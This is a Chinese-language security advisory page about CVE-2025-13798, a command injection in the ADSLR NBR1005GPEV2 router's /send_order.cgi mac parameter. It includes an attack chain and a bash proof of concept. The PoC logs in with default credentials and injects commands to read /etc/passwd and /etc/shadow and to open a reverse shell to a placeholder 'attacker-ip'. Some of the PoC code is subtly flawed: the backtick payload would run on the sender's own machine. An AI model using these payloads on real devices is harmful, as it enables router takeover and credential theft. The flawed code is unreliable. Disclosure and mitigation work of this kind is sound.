IPBUF安全漏洞报告
English
CVE-2025-13798 CVSS 6.3 中危

CVE-2025-13798: ADSLR NBR1005GPEV2路由器ap_macfilter_add命令注入漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13798
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ADSLR NBR1005GPEV2 250814-r037c

相关标签

命令注入CVE-2025-13798路由器漏洞嵌入式设备NBR1005GPEV2CGI漏洞ADSLR网络设备安全远程代码执行

漏洞概述

CVE-2025-13798是一个影响ADSLR NBR1005GPEV2路由器(固件版本250814-r037c)的命令注入漏洞。该漏洞存在于/send_order.cgi文件中的ap_macfilter_add函数,由于对用户输入的mac参数缺乏有效的输入验证和过滤,攻击者可以通过构造恶意payload在受影响设备上执行任意系统命令。该漏洞具有网络远程利用特性,攻击者需要低权限认证即可发起攻击,无需用户交互。攻击成功后,攻击者可以完全控制路由器设备,执行任意操作,包括但不限于窃取网络流量、植入后门、进行中间人攻击等。由于该路由器通常部署在家庭和小型企业网络环境中作为网关设备,此漏洞可能影响大量终端用户的网络安全。厂商在收到漏洞报告后未做出任何回应,漏洞已被公开披露并可能有在野利用。

技术细节

该漏洞的根本原因在于/send_order.cgi脚本中的ap_macfilter_add函数对mac参数的处理存在命令注入风险。攻击者通过HTTP请求向/send_order.cgi端点发送精心构造的mac参数值,该参数被直接拼接到系统命令中执行而未经任何安全过滤或转义处理。由于路由器运行的是嵌入式Linux系统,攻击者可以利用分号、反引号、管道符等shell特殊字符注入额外命令。例如,通过在mac参数中插入分号后跟其他系统命令,攻击者可以在路由器上执行任意系统操作。漏洞的利用条件相对较低,攻击者只需具备基本的网络访问权限和低级别认证即可成功利用。由于路由器通常缺乏完善的安全更新机制,且厂商未对此漏洞做出响应,受影响设备可能长期处于易受攻击状态。

攻击链分析

STEP 1
步骤1
攻击者识别目标路由器型号为ADSLR NBR1005GPEV2,确认固件版本为250814-r037c
STEP 2
步骤2
攻击者获取路由器Web管理界面的访问权限,使用低权限账号登录系统
STEP 3
步骤3
攻击者构造恶意HTTP请求,向/send_order.cgi端点的ap_macfilter_add函数发送包含命令注入payload的mac参数
STEP 4
步骤4
路由器后端CGI脚本接收请求,将未经过滤的mac参数值直接拼接到系统命令中执行
STEP 5
步骤5
攻击者注入的命令在路由器嵌入式Linux系统中以root或高权限身份执行
STEP 6
步骤6
攻击者成功执行任意系统命令,可进一步部署后门、窃取数据或控制整个网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-13798 PoC - ADSLR NBR1005GPEV2 Command Injection # Affected: /send_order.cgi ap_macfilter_add function # Auth: Low privilege required TARGET="http://target-router-ip" USERNAME="admin" PASSWORD="admin" # Login to get session cookie COOKIES=$(curl -s -c - -d "username=$USERNAME&password=$PASSWORD" "$TARGET/login.cgi" | grep -i cookie) # Command injection via mac parameter # Using semicolon to chain commands echo "[*] Sending malicious mac parameter..." curl -v -X POST "$TARGET/send_order.cgi" \ -H "Cookie: $COOKIES" \ -d "func=ap_macfilter_add&mac=00:11:22:33:44:55;cat /etc/passwd" # Alternative: Using backticks for command substitution echo "[*] Attempting with backticks..." curl -v -X POST "$TARGET/send_order.cgi" \ -H "Cookie: $COOKIES" \ -d "func=ap_macfilter_add&mac=00:11:22:33:44:55;`cat /etc/shadow`" # Reverse shell payload example echo "[*] Deploying reverse shell..." curl -v -X POST "$TARGET/send_order.cgi" \ -H "Cookie: $COOKIES" \ -d "func=ap_macfilter_add&mac=00:11:22:33:44:55;bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

影响范围

ADSLR NBR1005GPEV2 固件版本 250814-r037c

防御指南

临时缓解措施
由于厂商未响应漏洞报告,建议采取以下临时缓解措施:1) 限制路由器的管理界面仅允许内网访问,禁用远程管理功能;2) 使用强密码并定期更换管理员密码;3) 在网络边界部署防火墙,监控异常流量;4) 关注厂商后续发布的安全更新;5) 如设备不再获得安全支持,考虑更换为有持续安全更新的替代产品。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表